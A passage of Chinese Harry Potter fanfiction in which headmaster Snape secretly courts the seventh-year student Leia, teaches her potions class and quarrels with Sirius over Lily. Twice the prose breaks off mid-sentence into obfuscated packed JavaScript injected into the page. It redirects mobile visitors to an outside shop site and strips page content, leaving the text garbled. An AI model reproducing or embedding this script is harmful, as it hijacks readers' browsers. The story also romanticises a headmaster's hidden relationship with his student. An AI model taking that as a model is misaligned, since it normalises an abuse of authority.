也许是布莱克家族里血脉的传承,也许是这位布莱克本身就足够强大。他在阿兹卡班十三年的岁月显然未能削弱那些技能,太可怕了。同时,她又觉得,布莱克施展黑魔法的水平可能堪比斯内普,但带有另一种气势。跟斯内普一贯的冷硬、镇静不同,是那种炽烈而激昂的强大。 午饭的时分,教师席上没有斯内普的身影。天空变得阴霾,乌云压得很低,让白昼慢慢褪成了黑灰。雾蒙的空气中攒满沉闷的水珠,走廊的高窗被一层白茫茫的虚幻覆盖,再也眺望不见远处禁林的轮廓。 随着日光的消散,温度也下降。蕾雅吃完了午饭,也还是没见到斯内普。她有些担心,便向他发了一个询问的讯息。收到斯内普的回复后,她先回寝室抓起一件毛线背心套在夏服上。之后,躲开午休的众人,穿过凝结成厚重的潮湿,来到地窖办公室门前。 外面正开始下起淅沥沥的雾雨,蕾雅轻轻带上门。映入眼帘的是被窗外雨帘笼罩的地窖办公室,室内昏暗而幽森的,显得眼前人身上的黑袍也变成一种寂寥的孤清。 这间意味着他们故事起点的办公室有些不太一样了。办公桌上散乱着一卷卷摊开的书籍和羊皮纸,除了能看出是斯拉格霍恩的私人物品外,还堆满一些临时搬来的杂物。空气中弥漫着狼毒花的气味,是斯内普正在熬狼毒药剂。听见关门的微响,他在坩埚台前回过身,顺手给门口施加一道锁咒,才抬眼望向她。 “午饭吃过了吗?”蕾雅抿了抿唇,眼睛聚焦在他如常冷色的面庞上,先开了口。 “嗯。”他平淡地回应,手上保持搅拌的动作,补充道:“让小精灵送来的。” 她松一口气,接着问:“斯拉格霍恩教授呢?” 斯内普低叹一声,让蕾雅以为他会像以前一样以拒人千里的语气回答她。然而,他是平静柔和地解释道:“他腰痛,圣芒戈医院建议他静卧一个月,所以他回家去了。” “所以接下来一个月又能上到您的课了?”她眼中闪过一丝兴奋,轻快地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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雨越来越迅猛,湍急的回响荡漾在这个房间里,混杂着坩埚沸腾和整理纸页被翻动发出的沙沙声交织在一起。雨柱重重地打在窗外的黑湖上,激起更多的烟雾,光线被吞没。水珠沿着窗柩的轮廓爬入,湿漉漉的一片。这种晦暗的水汽,氤氲得让蕾雅忽而觉得她变成了一条鱼,身处黑湖之底。 蕾雅控制着魔杖熄掉坩埚的时刻,一道刺目惊悚的亮白在被雨帘盖住的暗淡里骤然划过。她连忙放下魔杖捂住耳朵。下个瞬间,一声震天的轰鸣就猛然响起,打破了室内维持许久的沉寂。 伫立在她身后的斯内普理所当然地捕捉到她的一系列反应。他放下那卷看到一半的课程日志,沉默着踱到正缩着脖子等待下一次雷鸣的人儿旁,伸手将她从窗边拉开。 在这种磅礴如深海的水声里,那种早上的患得患失感像是倾盆的雨,再度兜头浇了他全身。这一刻,他好怕她在这铺天盖地的水雾里变成一条小鱼,顺着河水游走消失。于是,他下意识地将她紧紧拥入怀中,抱住她。 他明知他不该在学校这么做,也知道就算他承认了爱意跟她在一起,他也该等到她毕业——但没有理由的,他选择了纵容自己,违背一向的原则。 又一次的雷声,如同千军万马的怒号。蕾雅身体微微地僵硬了一下,斯内普也稍稍地紧了紧手臂。 “原来你害怕这些?”他的语调有点嘲讽,但是手掌已穿过她的发丝,安抚地搭在她的后颈,轻轻地摩擦着那些细腻。 “……我不怕的。”她低声争辩,不愿承认实际上她害怕的事情有很多。 斯内普了然地轻哼一声,脑中清晰地回想起她见到蛇怪牙齿和巨怪标本的惊恐模样,继续不急不忙地追问:“那鬼怪呢?”看着她紧咬的嘴唇不作声,他的嘴角勾起一个弧度,眼角扫向她身后的高窗,轻描淡写地发出一个单音节:“哦——” 话音未落,又一声雷震撼天际,整个地窖办公室随之颤动。因为背对着窗户又被他按住,蕾雅没能见到提示雷鸣的闪电,那仿佛要撕裂世界的巨响让她本能地吓了一跳,瑟缩起来。 经过一段长时间,她才平复了呼吸,按捺住心跳,以抗议的口吻回答:“也,也不怕!”仿佛是在向他证明,她倔强地抬起头。 他的黑眸在雨色里显得比平日还要深邃幽暗,却似乎藏着静燃的温火。她恍惚一下,把注意力放到他笔直的肩线。他的臂膀是那么令人眷恋,他的触碰给她带来温润感,他衣服上有清苦的药香,一切都让她既无法抗拒,也不想离开。 斯内普笑了笑,低头凝视着她不知道什么时候握在黑袍上的拳头,不再说话,因为他已经获得了他想要的答案。 他安静地抱着她,观察着她自以为完美的掩饰。他难以自抑地开始想,她这些年来在他面前到底藏了多少的秘密,她还有多少的事他是不曾察觉的。他以为他足够了解她的勇敢和她的温柔,但是——显然还有更多他想去了解的东西,他想看到更多,想要更多地拥有她。 这么想着,他用拇指抬起她的下巴。她的脸颊映着玻璃上水流淌过的浅淡虚影,让他深陷其中。对上她疑惑的眼神,他缓缓低下头,高挺的鼻尖擦过她的额角,如羽毛般的轻吻则落到她的眼皮上。 “我不怕,真的。”她感受着他大概是想让她安心下来的亲近,又强调了一遍。她大胆地抚摸着他的脸,最后轻轻揉捏着他藏在发里的耳垂。 斯内普依然没有说话,在被雨冲刷到褪色的世界里,他只想再多一秒地感受她暖热的体温,想从她眼里探索到他未知的秘密,也想——给她足够的安全感。 如果她将变成小鱼离开,那么他愿意化作追随她的鱼鹰。 他确切地想到,心中涌起不可推开的暖意。 大概,这就是属于他的幸福吧。大概,幸福总是伴随着怯懦吧。 雨水没有持续太久,等渐渐减弱时,斯内普已整理好了办公室,也大致准备好下午的课程。随后,他花了点时间,向蕾雅详细讲解了考试的重点。等时间差不多,他从给她答疑的笔记里抬头:“走吧,午休要结束了。” “嗯。”她随声应着,收好东西。斯内普也起身走到坩埚前,将蓝紫色的液体小心地灌进高脚杯,准备送给身体不适的卢平。 离开办公室后,两个人步入被烟雨锁住的走廊。水滴沿着拱券和砖墙流下,坠在地面上溅出一朵朵小花,远处的湖岸和禁林上方也漂浮着一团团缓慢移动的白雾。斯内普从这片迷蒙收回视线,毫无防备地捕捉到身边人仍残留星点红潮的耳廓,这好像成为雨天昏沉混沌里唯一的亮色。 “你喜欢下雨吗。”蕾雅察觉到他的凝视,微微偏过脸来,对他露出一个甜美的微笑。 斯内普压低声音答:“不喜欢。” “真巧,我也不喜欢。”她说。 他迅速从那张美好的脸庞上别开,尽力回归到霍格沃茨校长的严肃身份中。 他们进入空旷的塔楼,默契地保持了一段距离。在大理石楼梯前,他们无声地告别,蕾雅转身回公共休息室取下午的课本,斯内普则继续前往卢平的卧室。 谁都没有注意到,在楼上的一个较高位置,有一个人倚靠着石墙望着他们。他收紧双臂,在一片逐渐静默的雨声里敛住了眼色。 67.坦诚 雾雨止住了,但魔药学教室内的嘈杂声堪比细碎的雨声。不仅因为挤进众多旁听的学生,更因为中间这桌格兰芬多小狮子们正在吱吱喳喳地打探着蕾雅午休的时候去哪了。他们的嬉笑讨论声大到连另外两个学院的鹰獾们都忍不住频频探头,生动形象地展示了在霍格沃茨里八卦的威力。 至于斯莱特林学院,他们最近在所有的课上都抱团坐在最不起眼的一隅,只有马尔福偶尔隐蔽地偷偷观察周围。自从战争之后,他们就极力保持一种我不犯人、人不犯我的低调姿态,害怕被其他学院的人围攻。不过,由于斯内普和邓布利多多次在各种场合强调过互相尊重、避免校园霸凌的事,也重罚过几个带头闹事的学生,霍格沃茨还算是维持住四院的和谐。 坐满了格兰芬多的这桌上,没有人在乎被堆砌着的乱糟糟魔药材料。罗恩正挂着一种“我已经看透一切”的自信笑容,半开玩笑地对蕾雅说:“我们都知道你是去找他了!” 这话一出,坐在离罗恩远些的拉文德也忍不住参与讨论。她已经不会过多在意罗恩和赫敏的关系,更决定当罗恩是一种透明的空气,只是以兴奋的语气追问:“所以真的是他啊?”她稍稍贴近正在整理着课前笔记的蕾雅,小声恳求般:“你明明答应了要告诉我的。” “谁?”另一边来旁听魔药课的纳威一脸困惑,他通常并不是那种会参与八卦话题的人,但不断的讨论也激起了他的好奇心。 “就是,那个——”拉文德神秘兮兮地向纳威看去,夸张地做了一个‘S’的口型。 “拉文德!”蕾雅顾不得写到一半的句子,即时抬起握着羽毛笔的手,想要捂住拉文德的嘴阻止她继续说下去。纳威维持着木然的表情,显然还没反应过来,但突然间,他那棕色的眼睛映射出惊讶的光芒,“斯内普?!” “聪明!”拉文德比了个大拇指,赞许地说:“你怎么猜到的?” “不、不是我猜的!”纳威战栗地低喊着,他整个人看起来是一副害怕的闪躲神色,他强调着重复道:“真的是斯内普!” 顺着纳威的话音,一个阴沉且凌厉的嗓音从教室门口的方向传来,宛如午后突如其来的雷雨般锋利冷冽:“哦,斯拉格霍恩教授并没有告诉我,这个班级竟然涌进了这么多本不应出现的人。”还真的是斯内普,他的出现硬生生地掐断了室内所有的动静。 所有的人都闭上了嘴,错愕地望着斯内普。他正抱着一叠厚厚的羊皮纸,大步走进教室,黑袍翻滚着跟在他的身后,所到之处仿佛都卷起一阵阵寒风,把所有的暖意都带走了。教室顿时凝固成一片寒冰之地,仿佛体感温度都直接降到零下。谁也没想明白,久不教学的霍格沃茨校长此时怎么会出现在魔药学课堂上。 特别是纳威,他好像回到了低年级的那种胆怯,差点就要使出十二分格兰芬多勇气逃出教室。罗恩、哈利和赫敏则急忙用眼神询问蕾雅,是在问她知不知道斯内普回来这个事。蕾雅尴尬地笑了笑,不打算给他们任何能察觉到她中午到底去哪的线索。 “确实,我知道这让你们很吃惊。”斯内普停在讲台旁边,挡住了透入窗户的细碎微光。 他随意地把手中的那叠羊皮纸摆放在讲台上,用无光暗淡的瞳仁仔细地环视这间教室里的每一个学生,最后目光落在几乎畏缩成一团的纳威身上,故意拖长词句开口:“很遗憾,斯拉格霍恩教授身体不适,将休息一个月。所以,我想,正好让我来好好管管这个班。”(1) 听见这个话,纳威吓到脸色苍白,好像天已经塌下来压在身上那样。显然对他来说,斯内普是比起直面伏地魔还要令人恐惧的存在。蕾雅注意到纳威的变化,伸手按住纳威的手臂,想给他一点点安慰。当然,她也是在担心纳威真的会忍不住逃离,毕竟如果他要实现未来志愿,魔药学的NEWTs成绩还是必须的。 随后,她暗暗端详着斯内普,感觉到那种刚刚在办公室抱过他,却在上他的课的违和,竟然是有点莫名的刺激,让心脏一下跳得比一下猛烈。讲台旁的黑发男巫捕捉到她的关注,黑眼珠慢慢地滑到眼角,瞥了她一眼,脸上并没有任何的神色变化,就好像不认识她。蕾雅对此并不在意,继续看着他抬起魔杖敲在那叠资料,所有的纸张随即纷飞而起,就像是一场骤然落下的大雪,飘散到每个人的手边。 斯内普清了清嗓子,语调没有任何感情:“好了,我知道斯拉格霍恩教授已经完成七年级的教学任务。你们手边的羊皮纸,是NEWTs考试的所有魔药清单。接下来的时间里,每节课完成两种药剂。如果有任何问题,随时可以提问——当然,”他十指交叉懒懒地按在讲台上,略微抬起下巴,用一种傲慢审视的姿态说:“我非常建议你们先自己思考一下那些问题被提出的必要。” 蕾雅翻开手边的羊皮纸,上面密密麻麻地写了两面,是斯内普亲手整理的七年级魔药清单,几乎堪比一本考试秘籍。她大致浏览了一遍,最后回到最初的那一行——疥疮药水,还没站起来去够魔药材料,便看见帕瓦蒂举起了手。 “怎么了,佩蒂尔小姐?”斯内普问。 “那个,”帕瓦蒂踌躇着拿起手中的羊皮纸,“之前斯拉格霍恩教授说重点复习五年级以后的药剂。但我看这清单还包括了一年级的药剂,这对NEWTs来说是不是太简单了?” “简单?”斯内普冷厉地反问:“请告诉我,疥疮药水最关键的步骤是什么?” 帕瓦蒂迟疑一阵,在脑海里搜索一圈,不确定地答道:“呃,必须加入千荨麻?” 啊,不对——蕾雅意识到斯内普问题里的陷阱。 “最关键”和“必不可少”可是两个意思。 “啧,错误的答案。”斯内普的语气里带着直白的轻蔑,他缓慢地把那种阴鸷挑剔的视线移到另一边,“你来回答,莱恩哈特。” 蕾雅微微一惊,完全没想过斯内普会这样直接在课上点她名字。迎着面前四人看戏的眼色,她故作镇定,确切地答道:“在加入豪猪刺之前,必须确保坩埚远离火源,否则坩埚可能会因热而融化,疥疮药水也会变成肿胀药水。” “不错,你们难道都忘记隆巴顿当时亲身的演示了吗?”他嘲讽了一句,继而冷冷地说道:“你看,所谓的简单,只要换一个问法,它就会变成一个复杂的问题。别天真地以为——NEWTs考试会按照药剂的步骤来问,也别以为,简单的问题就不会问。现在开始制作你们的药剂。” 所有人都应声开始挑拣堆在教室里的药材,教室里也终于荡起各种魔药的气味。但还没下课,不少学生就已经在暗暗怀念斯拉格霍恩教授。特别是纳威,在蕾雅和赫敏的多次帮助下,才勉勉强强没有重现当时一年级制作疥疮药水的恐怖场景。 课堂结束的时候,一直在巡堂的斯内普停在格兰芬多的这桌,用命令式的口吻宣布:“隆巴顿,莱恩哈特留下,其他人立刻离开。” 蕾雅讶异地回望他,而纳威的面颊上没有任何一点血色,宛若一张随风飘荡的白纸,根本不敢跟斯内普有任何的眼神接触。 等到教室门随着最后一个学生的离开而关上,斯内普扯了扯嘴角,伸手拿起纳威这节课完成的药水,不满地啧了一声,然后宛若看见脏东西似的快速放下。他叹了口气,低下头直视纳威,尽可能让不悦的声音变得平和一点:“纳威·隆巴顿,我需要知道,你为什么来旁听魔药课。” 纳威瑟缩着,没有抬头,用细微到几乎听不见的音量答:“斯内普教授,我想……” “看着我的眼睛回答问题。”斯内普打断他的话。 蕾雅感觉自己比纳威还要紧张,她握紧了刚刚记录魔药步骤的笔,手指在书页上不自觉地摩挲,忐忑地观察着斯内普的样子。什么也看不出来,不过既然让她留在这里,斯内普应该不是要罚纳威的意思。 纳威努力地按捺住内心的不适,好像是抽尽了全身的力气般抬头,直视斯内普冷硬严峻如坚冰的双眼。他哆嗦着张了张嘴,又闭上,然后又张开,结结巴巴地说:“我想,留在霍格沃茨……我想,成为草药学助教。我需要通过魔药学的NEWTs。” 斯内普闷闷地低哼一声,转向蕾雅:“你呢,莱恩哈特?” “呃,”她变得更加讶异,看了看纳威,又回看斯内普,认真地回答:“我也想留下来,做魔药学或者黑魔法防御课助教。” “很好。”斯内普说,表情略显松弛,“那从下节课起,每次课后一小时,你来帮隆巴顿复习魔药学。这间教室的所有东西你们都可以自由使用,可以吗?” “好的。”蕾雅快速的回答,对着斯内普眨了眨眼睛。纳威则像是听见曼德拉草尖叫那般张大了嘴,吃惊地看向斯内普,完全没听明白这位魔药学教授为何要这么安排。 “别这么吃惊,隆巴顿。”斯内普接着解释,闷声道:“这不是莱恩哈特的无偿劳动。每周三周五的下午五点,你要和莱恩哈特去斯普劳特教授那里帮忙,我会亲自跟她说明情况。有没有问题?” 纳威很快与蕾雅互相看了一眼,连忙呆呆地应声:“没,没问题。” 蕾雅瞬间明白了斯内普的言下用意,也明白过来是斯内普嫌她草药学实在是学得太差,让她帮助纳威的同时,也让纳威帮助她——双赢策略,他总是这样,默默地思虑过后替他们计划好一切。 思绪回拢的时刻,她迅速地对面前人轻轻皱了皱鼻子,斯内普接住她无声的抗议,给她回了一个微不可察的讽刺微笑。这笔账记下了!蕾雅在心里想到。 “出去吧,下次课后就按这样。”斯内普淡淡地挥了挥手,示意他们离开教室。 …… 直到第三次的课后,两个人的相互帮助有条不紊地进行着,纳威终于相信斯内普深埋的善意,并为此感到难以置信。这件事听起来,就像那天打听到蕾雅和斯内普在一起的消息那样让他大脑宕机。 今天的天气暖洋洋,蕾雅的手边堆满各年级的魔药学教材,还散落不少斯内普私下给他们讲解的笔记。她正把头枕在双臂上,耐心地观察着纳威操作的每个细节,这个过程顺带让她温习那些零散的知识,毕竟,她也是五年级才认真学习的。 渐渐地,蕾雅发现纳威在魔药学上其实没有那么的薄弱,他只是对斯内普抱着一种过度的恐惧。斯内普显然也洞悉到这一点,只要他们没有过多的疑问和操作失误,他就会“体贴”地退回办公室,让蕾雅带着纳威进行药剂的练习。 此时此刻,蕾雅猜斯内普是在办公室里熬制狼毒药剂,因为今天就是满月。纳威已经顺利完成了今日计划的药剂,蕾雅也跟着他起身一起整理用过的器皿。 “那我先走了?”纳威将他手上的一个研钵擦干,放回原位,略有不好意思地对还在整理药材的蕾雅说。 “嗯,你先去吧,温室需要你。”蕾雅温和地笑了笑,把用剩的缬草根重新收回铁盒内,心想等纳威走了她正好跟斯内普说一会儿话。 纳威点点头,走出教室。蕾雅一个人在教室里慢慢地整理各种材料和器皿,把它们都归到柜子和桌边。暖阳静悄悄地穿过窗帘陪伴她,懒懒地落在她身边的地板上,铺开一抹抹铂金色的微光。她将最后一张仄歪的凳子归位,靠在调理台上盯着那块光斑,不由地泛起一阵安然,是回忆起两年前来这里帮忙的日子。 “怎么,还没毕业,就开始怀旧了?”斯内普不知道什么时候已经站在她身后,打趣道。 “是啊,好不舍得。”被看穿的她没有选择回头,轻轻地伸了个懒腰,不舍地喃喃道:“我真的能留下吗。” 斯内普抱起双臂,低笑一声,“只要你的草药学和魔法史不拖后腿,我会批准的。” 她转过身,蓦地撞进他眼中那片不加掩饰的偏爱里,随即也对他牵出个浅笑:“那谢谢校长。”过了一阵,她又靠近他一点,接着小声地问:“真的有这么差吗?” “要听实话?”斯内普微微扬起下巴,毫不留情地开口:“我真的很好奇,你怎么一点都没有遗传到你母亲和外公的天赋?如果我有时间,我十分乐意每天下午就看着你抄魔法年代事件和百草分类。” “呃……”蕾雅无意识地摸摸鼻尖,难堪地晃晃脑袋,“可能是爸爸的基因更强大……” “好了,要求也不是很高,达到A就行了。”斯内普说完,忽然收住所有的表情,变得警惕起来,朝着门口望去。 就在下一刻,魔药学教室的门口显现出一个高大的身影。蕾雅沿着斯内普的视线疑惑地探头,发现是布莱克。他一如既往地穿着优雅华贵的服装,以一种几乎傲慢的姿态倚在门边,冷声唤到:“斯内普校长。” 斯内普面无表情地往前走了几步,将蕾雅挡在身后,嗓音比布莱克更冷更硬:“有什么可以帮到你,布莱克教授?”他在念到布莱克的名字时故意加重音调,让人听得很不舒服。 “我正好路过,想着顺便把莱姆斯的药带回去。”布莱克不紧不慢地说,“省得你又跑一趟。” “你是希望我称赞你的考虑周到吗?”斯内普的眉心一拧,全身散发出来凝成冰霜的气场,全然没有了刚才跟蕾雅调侃的温柔,“可惜,药还没好。等完成了,我会亲自给卢平送过去,不用你担心。” “药还没好?”布莱克有些质疑地提高了声音,他往教室里迈进了几步,目光在斯内普和他身后的蕾雅之间游移,质问道:“蕾雅,你在这里做什么?” 蕾雅一怔,连忙开口打招呼:“布莱克教——” “这不关你事。”斯内普冷冷地割断对话,尖锐地说:“如果你没有别的事情,我建议你出去忙你应该忙的事。” “巧了。”布莱克面露不快,眉头一挑,显然被斯内普的态度激怒,“我确实有事,我想我确实该好好跟你谈谈。” “你想谈什么?”斯内普的眼神收紧,话语里充满不容置疑的威压:“我不认为我有任何应该跟你谈的事。” “哦?是吗。”布莱克扯起唇角,手指故意般敲打在门口的桌子上,发出令人不安的声响,也让蕾雅立即产生一种特别不好的预感。她担心地看向布莱克,只见他灰色的眼睛里沉淀着狠厉和决绝,一字一顿地说:“比如说——谈一谈,关于莉莉?” 莉莉?!—— 这个名字出现的片刻,蕾雅就和斯内普的脸上就同时浮现出不可置信。蕾雅愈加忧虑地望向斯内普,他与她对视一瞬,急促地压低声命令道:“离开这里,莱恩哈特,立刻。”这是他压制着怒气前留给她的最后一点温柔。 “可——”蕾雅看到斯内普眼里灌满的愠色,果断将剩下的话吞回肚子里。她咬了咬唇,快步朝门口走去,经过布莱克的时候轻声说道:“我先走了,布莱克教授。” 布莱克低头看着与自己擦肩而过的格兰芬多学生,唇边动了动,本想说些什么,但又还是觉得给斯内普留点薄面,于是保持了沉默。等蕾雅彻底走远,他才重新用审视的神情锁定斯内普,后者的面庞已然全是压不住的怒火,几近爆发。 “给你三秒钟的时间解释。”斯内普厌恶地盯着对方,话如尖刃般狠狠地擦破室内对峙的沉重氛围,他的手已暗暗伸入口袋。 “解释?”布莱克嘴唇卷曲成轻蔑的弧度,不经意地摆弄着西装袖口,“你怎么不去跟她解释?我们伟大的战争英雄,你就是喜欢沉浸在这种英雄主义里是不是?一个女学生你都不放过,要是让她知道你这英雄背后的真相,又如何呢?” “我很忙,不像你,布莱克。我没有时间在这里听你高谈阔论。”斯内普攥紧了口袋里的魔杖,面色阴暗得如同幽幽深谷,谷底跌满粉碎的白骨那种,就是窗边粲然的光线也无法穿透。 “那我就直话直说吧。”布莱克站直身子,继而挑衅般开口:“我观察你们有一阵了,就是傻瓜都看得出来那孩子仰慕你。而你,非但没有推开她,还把她留在身边——要我说,你要么是沉醉于她的崇拜,要么——是因为她让你想起了莉莉,不是吗?” 斯内普的肩线陡然一震,身体随之僵硬一瞬。很快,他咬紧了牙齿,下颌的肌肉变得紧绷起来,苍白的面孔因愤怒而扭曲变形,“我不认为我有任何应该回答你的必要,现在,滚出我的教室。” “戳到痛处了?”布莱克不为所动地伫立在那里,已经敏锐地捕捉到斯内普手上的动作。他的手也因此慢慢地按在腰间的魔杖上,更加咄咄逼人地喊道:“鼻涕精,告诉那孩子,告诉她你做这么多,都是因为你害死了你最爱的莉莉!你根本就不是什么伟人英雄,你只是个试图赎罪的懦夫!到现在你都在想着莉莉,才把如此相像的她留在身边!” “够了!”斯内普的胸膛剧烈地起伏着,一个呼吸间,他猛地抽出魔杖,直指布莱克,如雷鸣般咆哮:“我,让 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14099681|143249||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你,滚!” “你敢试试看能不能把我赶出去?”布莱克同样毫不犹疑地举起魔杖,他眼中的火蹭地一声窜起。随之燃起的烈焰迅速翻涌升腾成熊熊厉火,将两个人脚下所处之地都焚成寸草不生的荒芜。 两个人魔杖的尖端快要迸出火花,就在那种强大到形成漩涡的针锋相对即将碰撞的一刻,麦格的呵斥声忽然在门外响起:“西弗勒斯·斯内普!西里斯·布莱克!给我放下你们的魔杖!”她怒气冲冲的靴子重重地踩踏在地板上,发出跟她嗓音同样的凛冽。 “两位,年近四十的成年人还在这里像一群小巫师一样互相吼叫,是不是有些失态了?即使是哈利和德拉科都比你们表现得更有分寸!”她挡在两个人的中间,方形眼镜透出不容置疑的锐利,看起来跟这面前两位处于气头上的男巫没有任何区别。 这下,空气是真的烧得渣滓都不能余下,连所有的声响都被火焰吞噬。 西里斯嘴唇一抿,显然是想要反驳,但麦格的严厉怒容硬是让他没说出话,他冷哼着别过脸,再也不看斯内普,后者同样别扭地转向另一边。 麦格并没有为此感到满意,她继而厉声道:“如果我再听到你们吵架,那么接下来一个月,你们俩就去帮费尔奇擦奖杯,并且帮海格照料魔法生物!阿不思,你也是,再在角落看不阻止,你就负责监督他俩!” 奖杯?魔法生物?——呃,这妥妥的低年级禁闭啊。 被点到名字的老巫师从教室外墙角的暗处步出,他轻咳一声,收起观战的笑容。他是被蕾雅叫过来的,本来做好打算等他们真的动起手来才介入——毕竟,让这两个人无处安放的怒气发泄一下也没有坏处。有时候,男孩子们打一架就没事了,不是吗? 不过,这两人真要动手的话,可能刚修复的霍格沃茨又要遭殃了。 老巫师边想着边摇摇头,缓缓踱步至门口,对布莱克招了招手,和气地劝慰:“我们先出去吧,西里斯。” 布莱克左右打量着邓布利多和麦格,才犹犹豫豫地放下魔杖,回过身跟随邓布利多退出教室。 然而,斯内普的愤怒仍未平息,他的低吼在空气里爆开,变成一道霹雳袭向门侧:“我警告你,布莱克。刚才的这些话别让我知道你告诉了她!我会让你后悔出现在霍格沃茨!” “你敢!”布莱克一听到这话,马上急速转身,再次以魔杖笔直地对准斯内普。 “西弗勒斯!” “西里斯!” 邓布利多和麦格斥责的叫喊同时响起,硬生生地将两个不成熟的男人逼了回去。 斯内普抽回确认门外人已走远的目光,收起魔杖的时分就又察觉到苏格兰女巫脸上的欲言又止。他用力地呼吸一下,处理好过分外露的情绪,低沉地问道:“你呢,米勒娃。也要在这里责问我吗?” “我的确有话要说。”麦格放缓脸色,却依然严肃地打量着斯内普,“我们去办公室里说吧。” 等麦格坐下,斯内普自然地为麦格泡了一杯红茶,然后边揉着作痛的额角边走向坩埚台,准备着手熬制刚刚没来得及开始的狼毒药剂。幸好没有开始,不然让布莱克这么一闹,整锅药水都要毁于一旦。 麦格低头凝视一阵被盛放在白瓷杯具中的红茶,判断出大概是斯拉格霍恩风格的茶具。随着深红色的茶水在杯中扩散,令人舒缓的果香和茶香也扑鼻而来,氤氲着弥漫在房里。 她仔细抿了一口红茶,暂时缓过气,“哦,你这茶不错,哪里买的?” “自己调的,用的莱恩哈特家送来的材料,你要喜欢就带点回去。”斯内普简洁寡淡地回复,说着手里捻着魔杖轻轻一转,把柜子上的一个小木盒召唤到麦格手边。之后,他注意力重新转向前面,精准地调整过坩埚底下的火焰,“你有话就直说吧。” “噢,这真是太贴心了。”麦格看了看木盒里的茶包,再次低头喝一口茶,抬手整理过几根垂落的银发,用一种十分意味深远的语气开启话题:“西弗勒斯,我知道你不是那种喜欢听别人絮絮叨叨的人,也觉得西里斯说的那些话太粗鲁,但我认为有些话还是必须说的。” 斯内普没有回头,也没有说话,专心地继续手上的动作,但麦格知道他在听。 “她是个好孩子,我看得出来她很崇拜你,也看得出来你很珍重她,这一点很明显。”麦格缓慢地叙述,“就不提你一开始对她的课后辅导,还有当时如何细致地治疗她的伤。早在你的身份不再是秘密以后,联想到你之前对她的关注,我就看出来了。我相信菲利乌斯和霍拉斯也都看在眼里。” “你到底想说什么。”黑发男巫冷静地询问,正忙着把研磨好的药材扔进坩埚,一丝不苟。 “我想说,有时候,人们只是装作不知道而已。就像过去这么多年,我们都知道你自小跟莉莉一起长大的故事,也知道你们吵架的事。”麦格的直视着斯内普孤傲的背影,尽可能让自己的话听起来不要那么刺耳,“而凡是认识莉莉的人,看到蕾雅就会想到莉莉,尤其是她的眼睛。”她略有不忍地停住话,叹息一声,继而说道:“但是,她不该是莉莉的替代品。” 房间里顿时静默下来,只有微弱的火焰在坩埚中跳动,药液的沸腾声也逐渐响起。 斯内普沉默半晌,暗暗下定了决心后,他以右手固定住搅拌棍,转过身直勾勾地盯着麦格的眼睛,语调深沉而坚硬:“米勒娃,我希望你知道,”他毫不犹豫、坚定不移地承认:“在我眼里,她就是她,不是任何人的影子。而且,事实上,我们已经在一起了。” “什么?!”麦格整个人都像被吓到了一样从凳子上弹起来,她把眼镜一摘,难以置信地瞪大双眼,走到斯内普的身侧,近距离地端详着斯内普那双漆黑冰凉,如坚石般深不可测的双眸:“你说什么?!” “蕾雅·莱恩哈特,和我,在一起了。”斯内普咬咬牙,不情不愿地耐着性子重复一遍,然后很快又重新投入坩埚的操作中,接着毫无感情地陈述:“我知道这不符合道德原则,你要怎么评判我也没有关系。但这是事实,我不会否认。我希望你能帮我保守秘密,直到她毕业为止。” “……”麦格好像想说点什么,又好像都说不出来了。她用指甲无意识地刮擦着手背,过了好一阵,才斟酌着说:“这是什么时候的事?呃,那个,阿不思……” “就这几天。”斯内普平静地回复,“阿不思从头到尾都知道,他一手撮合的。” 麦格长长地吐出一口气,心情凝重地重新带上眼镜。她远远地眺望着窗外沉寂在艳阳下的黑湖。更远处的树林像是在天边拉出的一道阴沉剪影,而那些模糊不堪的层云,慵懒而淡漠地悬浮在上,似乎无动于衷,就像毫不在意她反应的斯内普。她按住心里闪现的一万个疑问,突然清晰地回想起那天晚会上斯内普和邓布利多之间充满暗示的对话,瞬间恍然大悟过来。 原来一切都有迹可循,那个晚上最关注那位格兰芬多之星的,不是珀西、不是奥利佛、不是其他男孩,而是面前这位男巫啊。 她凝视着斯内普良久,依旧难以接受眼前的现实,但他根本不像是开玩笑,他身上那种对自我坦白的释然,以及对所爱之人本能的捍卫,这些都让麦格感同身受——在他身上,她看到了年轻时的自己。 而斯内普,面对这样的目光,却没有任何退缩的意思。他的双手仍旧平稳地制作着狼毒药剂,准确、细致,每一步都没有任何差错。任她看吧,他知道从今往后他还会面临许许多多像今日这样的时刻,但他已决定勇敢地不再逃避。 “好吧,好吧,我大概真的老了。我保证,你的秘密在我这里会很安全的,西弗勒斯。”麦格仍然有些愣神地低语。她用手缓慢地摸了摸心脏的位置,仿佛这样可以平复心中对西弗勒斯陷入爱情的震惊。片刻后,她还是略带思索地柔声劝诫:“那你更应该告诉她那些事,不仅是关于莉莉,更是跟西里斯、莱姆斯之间。如果你是认真的,她总有一天会知道你的过往。难道你更愿意让她从别人口中听见吗?记住,谣言往往是猜疑与悲剧的催化剂。” “放心,我知道。” “她今天看见你跟西里斯这样,肯定吓坏了。”麦格又提醒着。 “放心,我也知道。”斯内普耐心地回答。 (1)HP阿兹卡班的囚徒,斯教代卢平教授课的时候说过的台词。 68.往事 蕾雅跌跌撞撞地从地窖办公室跑到校长室的时候,邓布利多正抱着一罐各种奶味的软糖站在奖杯室窗前。他一边吃一边眺望着鲜绿草坪上上着飞行课的低年级小巫师们,偶尔被几个磕到脑袋的小家伙引得露出慈祥到温软的神色。在他看来,霍格沃茨的未来是那么得充满活力与生机,且就显现在他的眼前。 不过,重获新生的光明纵然耀丽,并不代表所有深埋尘土之下的阴影都会逐光而散。更多的时候,它们更容易沿着大地龟裂的缝隙一点点沉下,就像被雨水泡过无法发芽的植根,在暗无天日中发酵,溃烂,腐化,最后形成一片难以愈合的疮痍。 